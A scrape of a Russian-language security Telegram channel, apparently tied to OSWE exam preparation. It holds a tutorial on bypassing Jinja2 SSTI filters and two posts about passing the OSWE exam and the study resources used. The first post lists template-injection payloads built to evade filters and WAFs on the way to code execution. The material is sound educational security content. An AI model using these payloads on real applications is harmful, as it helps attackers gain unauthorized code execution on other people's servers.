GigaHackers
2.3K subscribers
61 photos
2 videos
10 files
59 links
Информация предоставлена исключительно в образовательных или исследовательских целях. Противоправные деяния преследуются по закону.
Авторы: @WILD_41, @Oki4_Doki и @VlaDriev
加入频道
[Обход фильтров в SSTI в Jinja2]

Не так давно в рамках подготовки к OSWE столкнулся с необходимостью обходить фильтры SSTI, проверяющие непосредственный темплейт.
Уязвимое приложение проверяло наличие .__ в строке передаваемого темплейта, что не давало просто использовать пейлоад из HackTricks и наслаждаться RCE на уязвимой машине.
Поэтому ловите несколько способов модификации пейлоада, чтобы обойти подобные фильтры или даже WAF целиком:

🔸 Для обхода фильтра по .__ можно использовать |attr()
{{ ''|attr('__class__’)}}

🔸 Можно использовать сложение строк или закодировать
{{request|attr("__"+"class"+"__")}}
{{''['\x5f\x5fclass\x5f\x5f']}}

🔸 Также можно обратиться к атрибутам по индексу
request["__class__"]

🔸 Кроме того, можно использовать Statements для определения переменных в темплейте
{% set string = "ssti" %}

{% set class = "__class__" %}

{{ string|attr(class)}}

{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

🔸 Для обхода фильтра по __ можно использовать requests.args для передачи частей полезной нагрузки в параметрах запроса и |join для соединения элементов в одну строку
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

🔸 Для обхода фильтра по [] можно использовать |getlist(). Данный метод возвращает всех значения, связанные с определенным ключом в запросе
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_


🔸 В случае, если встретился фильтр по |join, можно использовать |format для форматирования строк по переданным значениями
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_


Конечно количество фильтров может быть разнообразным, но тут уже скорее встает вопрос комбинации предложенных выше методов. 👆


Для закрепления я разработал небольшой стенд 🔥. Кому будет интересно, то можете проверить знания и навыки в деле!

@GigaHack

#web #stand #SSTI #learn #OSWE
[Сдача OSWE]

Всем привет! 👋

Совсем недавно совершил для себя важный шаг в своей карьере — получил сертификат OSWE. Стоит отметить, что для меня это оказалось не совсем простой историей.

Моя первая попытка не увенчалась успехом. Уже сейчас я понимаю, что причинами моего поражения были волнение и излишняя торопливость, так как тренировочные лаборатории я решал буквально за 2-3 часа на машину вместе с автоматизацией. Это дало мне ложное представление, что экзамен будет таким же.
В результате первой попытки сдачи я пару раз провалился в rabbit hole и потратил кучу времени в попытках раскрутить уязвимости, которые ни к чему не вели. Как итог — потеря настроения, сил и концентрации.
После того как доступ к машинам протух, я написал отчет из того, что смог сделать, и изложил там свои мысли, которые у меня были касаемо двух нераскрученных уязвимостей. После этого отправил отчет и стал отсыпаться. Сил и настроения не было от слова совсем.

Вторая моя попытка была уже в 2025 году. Я ворвался на пересдачу сразу после начала рабочих будней. В результате мне удалось набрать необходимое количество флагов и написать отчет. Я бы не сказал, что мне было просто, но предыдущий опыт поставил мозги "на место". Я уже не закапывался в дебри, а старался смотреть на уязвимости более шаблонно и внимательнее читать различные cheet sheet и статьи. Как итог — все получилось... Ответ я получил очень быстро, буквально через пару дней. Когда увидел, что сдал, у меня было только одно чувство — облегчение.


P.S В следующих статьях я рассмотрю ресурсы и методологию, которую использовал при подготовке

@GigaHack

#OSWE #WEB
Please open Telegram to view this post
VIEW IN TELEGRAM
[ Сдача OSWE часть 2]

Всем привет! 👋

В продолжении истории о сдаче OSWE я хочу поговорить о том, как проходила моя подготовка к экзамену.
Для начала я отметил для себя, что моя главная цель при подготовке к экзамену — это научиться разбираться в исходном коде, написанном на различных стеках и с использованием определенных паттернов. На словах это звучит просто, но на деле это оказалось довольно обширной задачей, которую не получилось бы уместить в трех месячный курс (материалы к экзамену OSWE можно купить сроком на 3 мес. или на 1 год).

В моей компании пошли ко мне на встречу, за что я ей благодарен. В итоге мне купили курс на 1 год. Это позволило мне без спешки проходить все разделы с максимальным погружением.

Процесс обучения я построил по принципу главное разобраться, не спеши. Обучение было построено на сочетании: программа OSWE + чтение ресурсов с перечнем статей для подготовки. Это позволило увеличить покрытие.

В целом главными моими талмудами были:
➡️ Агрегированный материал от Z-r0crypt
➡️ Полезный github
➡️ Материал от Hack The Box по OSWE

Количество ресурсов, что я пропылесосил конечно больше, но в целом эти 3 в качестве старта вполне хороши.
Для практики пользовался:
➡️ Список машин с HTB для OffSec-экзаменов
➡️ Гугл-документ со списком полезных машин к решениюOSWE like машины на HTB
➡️ TUDO — уязвимое приложение на PHP
➡️ Vulnerable Node — уязвимое приложение на NodeJS

Самое главная отличительная особенность OSWE — это необходимость автоматизации. Для меня это не было особой проблемой, но стряхнуть пыль с python нужно было. Единственной сложностью пожалуй было - это "распоточить" выполнение таких процессов как запуск HTTP-сервера, открытие порта для реверса.

На Github множество ресурсов, где делятся сниппетами кода из которых как из кубиков вы потенциально сможете собрать свой собственный эксплоит. Я не сторонник данного метода и вам не советую.

В итоге процесс обучения состоял из следующих шагов:

1️⃣ При чтении разделов, как только речь заходила о том, что меня как читателя вели за ручку до уязвимости (все лабораторные в методичках содержат пошаговые write-up-ы), я начинал самостоятельно искать уязвимость. Единственное, что для меня оставалось подсказкой — это ее название. Остальное же было моей задачей. С высоты прошедшего пути могу сказать, что такой подход дал свои плоды, но времени на это уходило очень много.
2️⃣ После обнаружения уязвимости и ее эксплуатации, я писал автоматизацию всего процесса в качестве тренировки.
3️⃣ Далее я решал HTB с похожими уязвимостями, чтобы закрепить пройденный материал.

Примерно из таких 3 циклически-повторяющихся шагов и состояло все мое обучение. Таким образом, я в сентябре вплотную подошел к лабораторным, которых я не делал. Я хотел сделать себе тестовый экзамен по всем канонам. Лично мне это было необходимо для того, чтобы отработать написание отчета и посмотреть сколько вообще на это необходимо времени.
Примерно из этого состояла моя подготовка. Сейчас могу сказать, что если бы я сдавал снова, то сделал примерно также.

Всем кто сдает OSWE или что-то ещё, удачи!!! Помните, что это просто экзамен 💼

P.S Я бы не рассматривал свой метод как ультимативный гайд, но надеюсь, что вы найдете для себя что-то полезное в моих словах.

@GigaHack

#OSWE #web
Please open Telegram to view this post
VIEW IN TELEGRAM